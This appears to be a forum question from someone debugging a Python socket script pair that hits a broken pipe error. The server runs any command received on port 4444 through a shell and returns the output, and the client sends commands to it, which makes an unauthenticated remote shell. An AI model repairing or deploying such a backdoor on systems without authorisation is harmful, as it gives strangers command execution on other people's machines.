So Ive been working on this script for sometime now, and no matter what I do I keep getting 'BrokenPipeError: [Errno 32] Broken pipe' I have no idea what I'm doing wrong, It should be just a simple pipe from the sub process, to the socket but never the less I keep receiving this error message. here is the code:
import socket
import platform
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Host = platform.node()
Port = 4444
s.bind((Host, Port))
s.listen(1)
conn, addr = s.accept()
with conn:
while True:
data = conn.recv(1024)
x = subprocess.Popen(data, shell = True, stdout = subprocess.PIPE)
x2 = x.stdout.read()
s.sendall(x2)
Here is the client script:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Host = input('Remote Host:')
Port = 4444
s.connect((Host, Port))
while True:
x = input('@-->Rhost:')
x2 = x.encode('utf')
s.sendall(x2)
x3 = s.recv(1024)
print(x3)